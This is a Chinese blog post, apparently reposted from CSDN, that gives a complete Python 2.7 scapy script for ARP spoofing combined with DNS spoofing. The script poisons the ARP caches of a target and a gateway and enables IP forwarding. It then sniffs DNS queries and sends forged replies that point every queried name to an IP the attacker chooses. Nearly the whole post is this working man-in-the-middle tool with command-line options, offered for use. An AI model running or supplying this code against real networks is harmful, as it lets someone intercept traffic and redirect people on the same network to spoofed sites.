python scapy实现arp欺骗与DNS欺骗(二)

(环境:python 2.7.16+scapy 2.4.2)

之前写过一片关于python scapy实现arp欺骗与DNS欺骗的帖子

地址:python scapy实现ARP欺骗与DNS欺骗

但是昨天用的时候发现dns_spoof函数不能用了(惊了....),没办法,只能自己重新DIY一个用来进行dns欺骗函数。

代码其他部分与前一篇帖子完全一致,关于其实现思路,请自行查看上一篇帖子,都是先进行ARP欺骗后,再进行DNS欺骗,有改动的有两处,新添加了一个参数,作为DNS欺骗的伪造IP,一个为自定义的DNS_Spoof函数:

def DNS_Spoof(data):
    if data.haslayer(DNS):
        try:
            #解析为dns数据
            dns_data=data.getlayer(DNS)
            #解析为IP数据
            ip_data=data.getlayer(IP)
            #构造DNS AN数据
            dns_an=DNSRR(rrname=data[DNS].qd.qname,rdata=jokers)
            #构造IP/UDP数据包
            repdata=IP(src=data[IP].dst,dst=data[IP].src)/UDP(dport=data[IP].sport,sport=53)
            #构造DNS数据包
            repdata/=DNS(id=data[DNS].id,qd=data[DNS].qd,qr=1,an=dns_an)
            #攻击信息输出
            print '\nhancker ip :' + jokers + " url : "+data[DNS].qd.qname
            #发送数据包
            send(repdata)
        except Exception as e:
            print 'dns spoof error :'+e.message
            sys.exit(1)

将DNS_Spoof函数作为sniff函数的prn参数,并设定filter:

def DNS_S(dns_ip,iface):
    global jokers
    jokers=dns_ip
    sniff(prn=DNS_Spoof,filter='udp dst port 53',iface=iface)

然后将DNS_S函数设为一个新线程来运行即可

完整代码:

#_*_coding:utf-8_*_

import sys
import os
import threading
import signal
from scapy.all import *
from optparse import  OptionParser

def quit_fun(i,j):
    print ("\n[+]执行完毕!\n")
    sys.exit()

#DNS欺骗函数
def DNS_Spoof(data):
    if data.haslayer(DNS):
        try:
            #构造DNS AN数据
            dns_an=DNSRR(rrname=data[DNS].qd.qname,rdata=jokers)
            #构造IP/UDP数据包
            repdata=IP(src=data[IP].dst,dst=data[IP].src)/UDP(dport=data[IP].sport,sport=53)
            #构造DNS数据包
            repdata/=DNS(id=data[DNS].id,qd=data[DNS].qd,qr=1,an=dns_an)
            #攻击信息输出
            print ('\nhancker ip :' + jokers + " url : "+data[DNS].qd.qname)
            #发送数据包
            send(repdata)
        except Exception as e:
            print ('dns spoof error :'+e.message)
            sys.exit(1)


#DNS欺骗函数
def DNS_S(dns_ip,iface):
    global jokers
    jokers=dns_ip
    print ("DNS欺骗开始!")
    sniff(prn=DNS_Spoof,filter='udp dst port 53',iface=iface)


#ARP欺骗函数
def op(eths,mubiao_ip,Ps,gateway_ip):
    ip=mubiao_ip
    wifi=gateway_ip
    #目标设备MAC地址
    dst_Mac=str(getmacbyip(ip))
    #黑客设备mac地址
    self_Mac=str(get_if_hwaddr(eths))
    #网关MAC地址
    wifi_Mac=str(getmacbyip(wifi))
    #构造以太帧数据
    Ether_data=Ether(src=self_Mac,dst=dst_Mac)/ARP(op=2,hwsrc=self_Mac,psrc=wifi,hwdst=dst_Mac,pdst=ip)
    try:
        #发送以太帧数据,sendp发送OSI模型中的二层数据
        sendp(Ether_data,inter=2,iface=eths,loop=1)
    except Exception as e:
        print("目标ARP数据发送失败!")


def wifi(eths,mubiao_ip,gateway_ip,Ps,dns_ip):
    ip=gateway_ip
    dst=mubiao_ip
    et = eths
    #根据IP获取MAC
    dst_Mac = getmacbyip(ip)
    #根据网卡获取MAC
    self_Mac = get_if_hwaddr(et)
    Ether_data = None
    if Ps=="1":
        #构造以太帧数据与ARP响应数据,ARP协议源地址给一个不存在的MAC地址与正确的IP地址对应,实现双向的无法解析,ARP协议的op参数是状态,2为响应数据,1为请求数据
        Ether_data = Ether(src=self_Mac, dst=dst_Mac) / ARP(op=2, hwsrc='12:1a:13:a3:13:ef', psrc=dst, hwdst=dst_Mac, pdst=ip)
        #新线程,开始DNS欺骗
        t3 = threading.Thread(target=DNS_S, args=(dns_ip,eths))
        t3.setDaemon(True)
        t3.start()
    if Ps == "0":
        #构造以太帧数据与ARP响应数据,这里因为不需要DNS欺骗,所以不需要一个假的MAC地址,让双方通信设备正常访问即可
        Ether_data = Ether(src=self_Mac, dst=dst_Mac) / ARP(op=2, hwsrc=self_Mac, psrc=dst, hwdst=dst_Mac, pdst=ip)
    if Ps!="1" and Ps!="0":
        print (Ps)
        print (type(Ps))
        print ('-P 参数有误!')
        sys.exit(1)
    try:
        sendp(Ether_data, inter=2,iface=et,loop=1)
    except Exception as e:
        print("网关ARP数据发送失败!")


def main():
    signal.signal(signal.SIGINT,quit_fun)
    signal.signal(signal.SIGTERM,quit_fun)

    opx=OptionParser('Usage %prog[-i interface][-s adIP][-d GIP]')
    #网卡
    opx.add_option('-i',dest='interface',help='NIC name')
    #目标IP
    opx.add_option('-t',dest='adIP', help='Target device IP')
    #网关IP
    opx.add_option('-g',dest='GIP', help='Gateway IP')
    #是否打开DNS欺骗,0关闭只使用ARP欺骗,1打开启动ARP欺骗的同时启用DNS欺骗
    opx.add_option('-p',dest='DNS', help='Whether to open DNS spoofing (0 OFF, 1 ON)',default='1')
    #用于DNS欺骗的IP
    opx.add_option('-d',dest='DNSip',help='DNS Spoof IP')
    (options,args)=opx.parse_args()

    if options.interface is None or options.adIP is None or options.GIP is None :
        opx.print_help()
        sys.exit(0)
    if options.DNS=="1" and options.DNSip==None:
        print ("你选择的DNS欺骗选项就必须填写伪造DNS IP!")
        opx.print_help()
        sys.exit(0)
    else:
        try:
            if os.geteuid()!=0:
                print ("[-]请使用管理员权限打开!")
                sys.exit(1)
            else:
                tail_0 = os.popen("sysctl -w net.ipv4.ip_forward=1")
                print ("ip转发设置:"+tail_0.read())
                eth=options.interface
                mubiao=options.adIP
                gateway=options.GIP
                P=options.DNS
                dip=options.DNSip
                print ('开始攻击')
                t1=threading.Thread(target=op,args=(eth,mubiao,P,gateway))
                t1.setDaemon(True)
                t1.start()
                t2=threading.Thread(target=wifi,args=(eth,mubiao,gateway,P,dip))
                t2.setDaemon(True)
                t2.start()
        except Exception as e:
            print (e)
            sys.exit(1)

    while True:
        pass


if __name__ == '__main__':
    main()

(依然仅针对支持http协议网站)

如有不正之处,还望指正

发布了13 篇原创文章 · 获赞 28 · 访问量 8479

猜你喜欢

转载自blog.csdn.net/weixin_43815930/article/details/101831313